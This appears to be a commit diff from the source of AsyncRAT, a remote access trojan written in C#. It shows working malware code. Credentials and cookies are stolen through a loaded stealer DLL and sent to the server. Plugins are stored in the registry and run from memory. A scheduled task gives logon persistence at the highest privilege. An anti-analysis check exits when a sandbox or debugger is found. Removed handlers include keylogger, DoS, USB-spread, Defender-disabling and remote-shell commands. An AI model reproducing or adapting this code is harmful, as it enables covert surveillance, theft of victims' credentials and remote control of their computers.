}
}
}

36
AsyncRAT-C#/Client/Handle Packet/HandlerRecovery.cs
View File

@ -1,36 +0,0 @@
using Client.MessagePack;
using Client.Connection;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Diagnostics;
namespace Client.Handle_Packet
{
public class HandlerRecovery
{
public HandlerRecovery(MsgPack unpack_msgpack)
{
try
{
// DLL StealerLib => gitlab.com/thoxy/stealerlib
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("RecoverCredential");
MethodInfo meth2 = loader.GetType("Plugin.Plugin").GetMethod("RecoverCookies");
object injObj = loader.CreateInstance(meth.Name);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
msgpack.ForcePathObject("Password").AsString = (string)meth.Invoke(injObj, null);
msgpack.ForcePathObject("Cookies").AsString = (string)meth2.Invoke(injObj, null);
ClientSocket.Send(msgpack.Encode2Bytes());
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
return;
}
}
}

239
AsyncRAT-C#/Client/Handle Packet/Packet.cs
View File

@ -10,16 +10,13 @@ using System.Reflection;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
using System.Windows.Forms; using System.Windows.Forms;
using System.Collections.Generic;
using Microsoft.VisualBasic;
namespace Client.Handle_Packet namespace Client.Handle_Packet
{ {
public static class Packet public static class Packet
{ {
public static CancellationTokenSource ctsDos;
public static CancellationTokenSource ctsReportWindow;
public static FormChat GetFormChat;
public static string FileCopy = null;
public static void Read(object data) public static void Read(object data)
{ {
try try
@ -28,228 +25,55 @@ namespace Client.Handle_Packet
unpack_msgpack.DecodeFromBytes((byte[])data); unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "sendMessage":
{
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
break;
}
case "Ping": case "Ping":
{ {
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
break; break;
} }
case "thumbnails": case "plugin": // run plugin in memory
{ {
new HandleThumbnails(); Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))));
Type type = assembly.GetType("Plugin.Plugin");
dynamic instance = Activator.CreateInstance(type);
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install, Settings.InstallFile);
break; break;
} }
case "sendFile": case "savePlugin": // save plugin as MD5:Base64
{ {
Received(); SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
new HandleSendTo().SendToDisk(unpack_msgpack); Debug.WriteLine("plguin saved");
break; break;
} }
case "sendMemory": case "checkPlugin": // server sent all plugins hashes, we check which plugin we miss
{ {
Received(); List<string> plugins = new List<string>();
new HandleSendTo().SendToMemory(unpack_msgpack); foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
break; {
if (SetRegistry.GetValue(plugin.Trim()) == null)
{
plugins.Add(plugin.Trim());
Debug.WriteLine("plguin not found");
} }
case "recoveryPassword":
{
Received();
new HandlerRecovery(unpack_msgpack);
break;
} }
if (plugins.Count > 0)
case "defender":
{ {
new HandleWindowsDefender(); MsgPack msgPack = new MsgPack();
break; msgPack.ForcePathObject("Packet").SetAsString("sendPlugin");
} msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins));
ClientSocket.Send(msgPack.Encode2Bytes());
case "uac":
{
new HandleUAC();
break;
}
case "close":
{
Methods.ClientExit();
Environment.Exit(0);
break;
}
case "restart":
{
Process.Start(Application.ExecutablePath);
Methods.ClientExit();
Environment.Exit(0);
break;
}
case "uninstall":
{
new HandleUninstall();
break;
}
case "usbSpread":
{
new HandleLimeUSB(unpack_msgpack);
break;
}
case "remoteDesktop":
{
new HandleRemoteDesktop(unpack_msgpack);
break;
}
case "processManager":
{
new HandleProcessManager(unpack_msgpack);
}
break;
case "fileManager":
{
new FileManager(unpack_msgpack);
}
break;
case "botKiller":
{
new HandleBotKiller().RunBotKiller();
break;
}
case "keyLogger":
{
string isON = unpack_msgpack.ForcePathObject("isON").AsString;
if (isON == "true")
{
new Thread(() =>
{
HandleLimeLogger.isON = true;
HandleLimeLogger.Run();
}).Start();
}
else
{
HandleLimeLogger.isON = false;
} }
break; break;
} }
case "visitURL": //case "cleanPlugin": // server want to clean and re save all plugins
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http"))
{
Process.Start(url);
}
break;
}
case "dos":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "postStart":
{
ctsDos = new CancellationTokenSource();
new HandleDos().DosPost(unpack_msgpack);
break;
}
case "postStop":
{
ctsDos.Cancel();
break;
}
}
break;
}
case "shell":
{
HandleShell.StarShell();
break;
}
case "shellWriteInput":
{
if (HandleShell.ProcessShell != null)
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
break;
}
case "chat":
{
new HandlerChat().CreateChat();
break;
}
case "chatWriteInput":
{
new HandlerChat().WriteInput(unpack_msgpack);
break;
}
case "chatExit":
{
new HandlerChat().ExitChat();
break;
}
case "pcOptions":
{
new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
break;
}
case "reportWindow":
{
new HandleReportWindow(unpack_msgpack);
break;
}
case "torrent":
{
new HandleTorrent(unpack_msgpack);
break;
}
case "executeDotNetCode":
{
new HandlerExecuteDotNetCode(unpack_msgpack);
break;
}
case "blankscreen":
{
HandleBlankScreen.RunBlankScreen();
break;
}
case "webcam":
{
HandleWebcam.Run(unpack_msgpack);
break;
}
//case "netStat":
// { // {
// HandleNetStat.RunNetStat(); // SetRegistry.DeleteSubKey();
// MsgPack msgPack = new MsgPack();
// msgPack.ForcePathObject("Packet").SetAsString("sendPlugin+");
// ClientSocket.Send(msgPack.Encode2Bytes());
// break; // break;
// } // }
} }
@ -260,13 +84,6 @@ namespace Client.Handle_Packet
} }
} }
private static void Received()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Received";
ClientSocket.Send(msgpack.Encode2Bytes());
}
public static void Error(string ex) public static void Error(string ex)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();

5
AsyncRAT-C#/Client/Helper/Anti_Analysis.cs
View File

@ -14,8 +14,6 @@ using System.Runtime.InteropServices;
// This program is distributed for educational purposes only. // This program is distributed for educational purposes only.
namespace Client.Helper namespace Client.Helper
{ {
@ -24,8 +22,7 @@ namespace Client.Helper
public static void RunAntiAnalysis() public static void RunAntiAnalysis()
{ {
if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP()) if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP())
//Environment.FailFast(null); Environment.FailFast(null);
new HandleUninstall();
} }
private static bool IsSmallDisk() private static bool IsSmallDisk()

17
AsyncRAT-C#/Client/Helper/Methods.cs
View File

@ -25,14 +25,9 @@ namespace Client.Helper
{ {
try try
{ {
StringBuilder sb = new StringBuilder(); return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName,
sb.Append(Environment.ProcessorCount); Environment.MachineName, Environment.OSVersion
sb.Append(Environment.UserName); , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize));
sb.Append(Environment.MachineName);
sb.Append(Environment.OSVersion);
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
return GetHash(sb.ToString());
} }
catch catch
{ {
@ -48,10 +43,10 @@ namespace Client.Helper
StringBuilder strResult = new StringBuilder(); StringBuilder strResult = new StringBuilder();
foreach (byte b in bytesToHash) foreach (byte b in bytesToHash)
strResult.Append(b.ToString("x2")); strResult.Append(b.ToString("x2"));
return strResult.ToString().Substring(0, 15).ToUpper(); return strResult.ToString().Substring(0, 20).ToUpper();
} }
private static Mutex _appMutex; public static Mutex _appMutex;
public static bool CreateMutex() public static bool CreateMutex()
{ {
bool createdNew; bool createdNew;
@ -109,7 +104,7 @@ namespace Client.Helper
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("HWID").AsString = Settings.Hwid;
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");

89
AsyncRAT-C#/Client/Helper/SetRegistry.cs Normal file
View File

@ -0,0 +1,89 @@
using Client.Handle_Packet;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Client.Helper
{
public static class SetRegistry
{
private static readonly string ID = @"Software\" + Settings.Hwid;
/*
* Author : NYAN CAT
* Name : Lime Registry DB
* Contact Me : https:github.com/NYAN-x-CAT
* This program is distributed for educational purposes only.
*/
public static bool SetValue(string name, string value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(name, value, RegistryValueKind.ExpandString);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static string GetValue(string value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
{
object o = key.GetValue(value);
return (string)o;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return null;
}
public static bool DeleteValue(string name)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
{
key.DeleteValue(name);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static bool DeleteSubKey()
{
try
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true))
{
key.DeleteSubKeyTree(ID);
return true;
}
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
}
}

4
AsyncRAT-C#/Client/Install/NormalStartup.cs
View File

@ -42,8 +42,8 @@ namespace Client.Install
{ {
StartInfo = new ProcessStartInfo StartInfo = new ProcessStartInfo
{ {
FileName = "cmd.exe", FileName = "schtasks.exe",
Arguments = "/c schtasks /create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'", Arguments = "/create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'",
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true, CreateNoWindow = true,
} }

6
AsyncRAT-C#/Client/Program.cs
View File

@ -14,11 +14,9 @@ using Client.Helper;
namespace Client namespace Client
{ {
class Program public class Program
{ {
public static void Main()
static void Main()
{ {
Thread.Sleep(2500); Thread.Sleep(2500);
if (!Settings.InitializeSettings()) Environment.Exit(0); if (!Settings.InitializeSettings()) Environment.Exit(0);

2
AsyncRAT-C#/Client/Properties/AssemblyInfo.cs
View File

@ -10,7 +10,7 @@ using System.Runtime.InteropServices;
[assembly: AssemblyConfiguration("")] [assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")] [assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")] [assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("Copyright © 2019")] [assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")] [assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] [assembly: AssemblyCulture("")]

6
AsyncRAT-C#/Client/Settings.cs
View File

@ -1,4 +1,5 @@
using Client.Algorithm; using Client.Algorithm;
using Client.Helper;
using System; using System;
using System.IO; using System.IO;
using System.Security.Cryptography; using System.Security.Cryptography;
@ -12,7 +13,7 @@ namespace Client
#if DEBUG #if DEBUG
public static string Ports = "6606"; public static string Ports = "6606";
public static string Hosts = "127.0.0.1"; public static string Hosts = "127.0.0.1";
public static string Version = "0.5.3"; public static string Version = "0.5.4";
public static string Install = "false"; public static string Install = "false";
public static string InstallFolder = "AppData"; public static string InstallFolder = "AppData";
public static string InstallFile = "Test.exe"; public static string InstallFile = "Test.exe";
@ -25,6 +26,7 @@ namespace Client
public static Aes256 aes256 = new Aes256(Key); public static Aes256 aes256 = new Aes256(Key);
public static string Pastebin = "null"; public static string Pastebin = "null";
public static string BDOS = "false"; public static string BDOS = "false";
public static string Hwid = Methods.HWID();
#else #else
public static string Ports = "%Ports%"; public static string Ports = "%Ports%";
@ -42,6 +44,7 @@ namespace Client
public static Aes256 aes256; public static Aes256 aes256;
public static string Pastebin = "%Pastebin%"; public static string Pastebin = "%Pastebin%";
public static string BDOS = "%BDOS%"; public static string BDOS = "%BDOS%";
public static string Hwid = "";
#endif #endif
@ -62,6 +65,7 @@ namespace Client
Pastebin = aes256.Decrypt(Pastebin); Pastebin = aes256.Decrypt(Pastebin);
Anti = aes256.Decrypt(Anti); Anti = aes256.Decrypt(Anti);
BDOS = aes256.Decrypt(BDOS); BDOS = aes256.Decrypt(BDOS);
Hwid = Methods.HWID();
Serversignature = aes256.Decrypt(Serversignature); Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
return VerifyHash(); return VerifyHash();

25
AsyncRAT-C#/Plugin/Chat/Chat.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {EF9C58BD-EA3A-4488-A8CD-871D19820CE4}
EndGlobalSection
EndGlobal

67
AsyncRAT-C#/Plugin/Chat/Chat/Chat.csproj Normal file
View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>Chat</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="FormChat.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="FormChat.Designer.cs">
<DependentUpon>FormChat.cs</DependentUpon>
</Compile>
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="FormChat.resx">
<DependentUpon>FormChat.cs</DependentUpon>
</EmbeddedResource>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

214
AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs Normal file
View File

@ -0,0 +1,214 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient()
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "chat-";
msgpack.ForcePathObject("Hwid").AsString = Hwid;
Send(msgpack.Encode2Bytes());
new HandlerChat().CreateChat();
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

2
AsyncRAT-C#/Client/Helper/FormChat.Designer.cs → AsyncRAT-C#/Plugin/Chat/Chat/FormChat.Designer.cs generated
View File

@ -1,4 +1,4 @@
namespace Client.Helper namespace Plugin
{ {
partial class FormChat partial class FormChat
{ {

21
AsyncRAT-C#/Client/Helper/FormChat.cs → AsyncRAT-C#/Plugin/Chat/Chat/FormChat.cs
View File

@ -1,16 +1,13 @@
using Client.Handle_Packet; using Plugin.MessagePack;
using Client.MessagePack;
using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Data; using System.Data;
using System.Drawing;
using System.Linq; using System.Linq;
using System.Text; using System.Text;
using System.Windows.Forms; using System.Windows.Forms;
namespace Client.Helper namespace Plugin
{ {
public partial class FormChat : Form public partial class FormChat : Form
{ {
@ -26,8 +23,9 @@ namespace Client.Helper
richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine); richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine);
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "chat"; msgpack.ForcePathObject("Packet").AsString = "chat";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine; msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine;
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
textBox1.Clear(); textBox1.Clear();
} }
} }
@ -39,7 +37,16 @@ namespace Client.Helper
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose(); if (!Connection.IsConnected)
{
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
{
Packet.GetFormChat?.Close();
Packet.GetFormChat?.Dispose();
}));
Connection.Disconnected();
GC.Collect();
}
} }
} }
} }

0
AsyncRAT-C#/Client/Helper/FormChat.resx → AsyncRAT-C#/Plugin/Chat/Chat/FormChat.resx
View File

102
AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/Chat/Chat/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
